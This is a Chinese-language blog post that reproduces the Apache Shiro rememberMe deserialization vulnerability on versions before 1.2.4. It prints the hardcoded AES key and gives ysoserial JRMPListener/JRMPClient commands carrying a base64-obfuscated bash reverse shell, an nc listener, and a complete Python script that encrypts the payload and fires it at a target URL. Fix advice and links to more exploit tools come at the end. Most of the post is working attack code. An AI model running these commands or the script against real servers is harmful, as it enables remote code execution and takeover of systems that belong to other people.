本文最后更新于:星期二, 六月 30日 2020, 8:25 晚上
最近在测试一批可能存在漏洞的 WEB 服务,其中就遇到了这个 Shiro 框架的反序列化问题,虽然这个漏洞已经很久远了,但是实际业务中还是会有大量存在一些老旧的组件或者框架(也许是历史原因、也可能是一些边缘资产),这是以后渗透测试中可以多关注的方向。
关于 Shiro
Apache Shiro 是一个 Java 安全框架,执行身份验证、授权、密码和会话管理。关于 Shiro 框架,有一个比较明显的特征,在一个搭建了 Shiro 框架的 WEB 服务上,发送 Cookie: rememberMe=xxxx
,Shiro 在响应头中会包含一个 Set Cookie: rememberMe=deleteMe
。如果可以在一个 WEB 服务上发现这一特征,就可以基本确认该服务搭载了 Shiro 框架。
漏洞原理
Shiro 框架提供了一个记住我功能,也就是前面提到的 rememberMe Cookie,当用户登录成功,并选择了记住我功能,Shiro 会返回一个经过 AES 加密,并 base64 编码的 Cookie,这个 Cookie 的 Key 为 rememberMe。而漏洞问题就出现在了这里。
当 Shiro 后端接收到了 rememberMe 的 Cookie,会经历以下几步处理:
- 将 Cookie 进行 base64 解码
- 将解码后的内容进行 AES 解密
- 将解密后的内容进行反序列化,获取其中的用户信息
这三步的问题出在第二步,如果我们能够获取到服务端的 AES 密钥,那么我们可以构造一个恶意类,并发送给服务端进行反序列化。而 Shiro 这一反序列化漏洞出现的原因就是 AES 密钥泄漏,在 Shiro 版本小于 1.2.4 时,这个 AES Key 是被硬编码在源码之中的,而 Shiro 又是一个开源框架,就导致了 AES Key 泄漏,也就导致了这个反序列化漏洞。
我们可以查看 Shiro 1.2.4 版本的源代码
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
出现问题的代码出现在 org.apache.shiro.mgt.AbstractRememberMeManager.java:80
可以看到 AES Key 就是decode()
中的kPH+bIxk5D2deZiIxcaaaA==
漏洞复现
要利用这个反序列化漏洞实现 RCE,我整理下的利用步骤如下:
- 构造恶意类,并将其序列化
- 使用硬编码的 AES Key 加密序列化内容,并进行 base64 编码
- 将编码后的内容作为 rememberMe 的内容发送到服务端,实现反序列化
构造恶意类
这里我使用的是常用的 ysoserial 来生成反序列化 payload,这个工具包含了一些常见组件的 Gadget 来达到 RCE 的目的,这里我在复现的时候是用的这个链接的源码进行编译的:https://github.com/frohoff/ysoserial ,用遍了所有能用的 payload ,但是死活复现不出来。后来去问了问老大,老大是用的 CommonsCollections9 成功反弹了 Shell,但是我这个源码中并没有 CommonsCollections9,遂要到了一个更新的源码:https://github.com/wh1t3p1g/ysoserial
使用 mvn clean package -DskipTests
构建项目之后可以在 target
文件夹下找到构建好的 jar 文件,使用以下命令就可以生成相应的 payload:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar [payload] [commmad]
这里要强调的一点是,其中的 paylaod 或多或少都要依赖于某些版本的组件,但是有一个模块——URLDNS,只依赖原生的 Java 包,可以对外发送 dnslog,是用来探测反序列化漏洞的好手段,一般用这个 payload 就可以确认该服务是否存在反序列化漏洞
但在这次的漏洞复现过程中,使用生成的相关 payload 直接攻击反弹 Shell 是走不通的,这里还需要用到 ysoserial 提供的 JRMPListener 以及 JRMPClient,使用该 payload 的流程如下:
首先,在有公网 IP 的服务器上运行以下命令:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections9 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMjMzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}'
最后的这段 command 是 bash 反弹 shell 的另一种形式,主要是用来绕过检查的,这种形式的反弹 shell 命令可以在 http://jackson-t.ca/runtime-exec-payloads.html 生成
然后在服务器上 nc 监听反弹shell
nc -lvnp 23333
最后,在客户端生成 payload ,这串 payload 可以让被攻击的机器作为 JRMPClient 去访问我们的 JRMPListener,并执行 Listener 下发的 payload
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient your_vps_ip:12345
AES 加密并 base64 编码 payload
这里我使用了一个比较简单的脚本,来生成 payload 并实现 AES 加密、base64 编码,并执行攻击
# -*- coding:utf-8 -*-
import os
import sys
import re
import base64
import uuid
import subprocess
import requests
from Crypto.Cipher import AES
'''
pip install pycrypto
from https://www.cnblogs.com/loong-hon/p/10619616.html
ysoserial
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
'''
# 可以是绝对路径 也可以是相对路径
# JAR_FILE = 'ysoserial-master-SNAPSHOT.jar'
JAR_FILE = 'ysoserial-0.0.7-SNAPSHOT-all.jar'
# POC模块列表
poc_list = ["BeanShell1", "C3P0", "Clojure", "CommonsBeanutils1"]
def poc(url, rce_command):
if '://' not in url:
target = 'https://%s' % url if ':443' in url else 'http://%s' % url
else:
target = url
try:
payload = generator(rce_command, JAR_FILE) # 生成payload
r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10) # 发送验证请求
print r.text
# print payload
except Exception, e:
pass
return False
def generator(command, fp):
if not os.path.exists(fp):
raise Exception('jar file not found!')
'''
popen = subprocess.Popen(['java', '-jar', fp, 'CommonsCollections2', command],
stdout=subprocess.PIPE)
popen = subprocess.Popen(['java', '-jar', fp, 'URLDNS', command],
stdout=subprocess.PIPE)
'''
popen = subprocess.Popen(['java', '-jar', fp, 'JRMPClient', command],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
# 传入目标站点和要执行的命令即可
if len(sys.argv) == 3:
# poc('http://ip:80/shiro', 'curl http://ip:port')
url = sys.argv[1]
command = sys.argv[2]
poc(url, command)
else:
print 'Usage: python {} <URL> <COMMAND>'.format(sys.argv[0])
这样我只需要执行
python shiro-poc.py {targetURL} your_vps_ip:port
就可以执行攻击,并反弹 shell 了
复现过程中遇到的问题
JDK版本问题
这个问题是最主要出现的问题,老大轻轻松松就发现了这个漏洞,并且很快就弹了 shell,我自己在这摸了一个上午,JRMPListener 虽然成功地收到了连接,但是后面的反弹 shell 命令却迟迟无法执行,复现多次未果。后来发现居然是 JDK 版本的问题。原因是我物理机,也就是实际发送 payload 的机器的 JDK 版本为 1.8.0_251,而服务器上的 JDK 版本为 1.8.0_252,就差了这么一个小版本就导致我无法成功地反弹 shell,最后我将发送 payload 的任务也在服务器上执行,就成功地接收到了反弹回来的 shell。
除此之外,用相同的方式再攻击另一台存在漏洞的服务器,又是无法反弹 shell,后来更换了 JDK 的版本,将其更换到 1.7,又可以成功执行了,所以以后在探测此类漏洞时,要多准备几个版本的 JDK,并且要考虑 JRMPClient 和 Listener 版本一致的问题
修复方式
最简单的修复方式当然是直接将 Shiro 的版本升级到 1.2.4 以上。在 1.2.5 中,Shiro 将硬编码的 AES Key 删除了,并将其修改成每次都临时生成一个 AES Key(通过增加了一个 generateNewKey()
方法)
但是,还是存在着一些国产的框架,引用了 Shiro 框架,并重写了 Shiro 的 CookieRememberMeManager 类,再次将 AES Key 硬编码在了源代码之中,所以在修复这个漏洞时最好在代码仓库中检测是否存在以下代码:
setCipherKey(Base64.decode("
如果存在,最好也将这个重写的代码删除。根据这些特征,在 GitHub 上还是可以找到很多硬编码在代码之中的 AES Key。具体可以参考到这一篇文章:https://mp.weixin.qq.com/s/NRx-rDBEFEbZYrfnRw2iDw
结语
最后,我收集到了一些探测、攻击一条龙的 Poc,在这里罗列一下,就不用再重复造轮子了:
https://github.com/insightglacier/Shiro_exploit/blob/master/shiro_exploit.py
这个脚本中还实现了 AES Key 碰撞的功能,根据在 GitHuub 上收集到的一些 AES Key 来进行碰撞检测,还是比较好用的
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!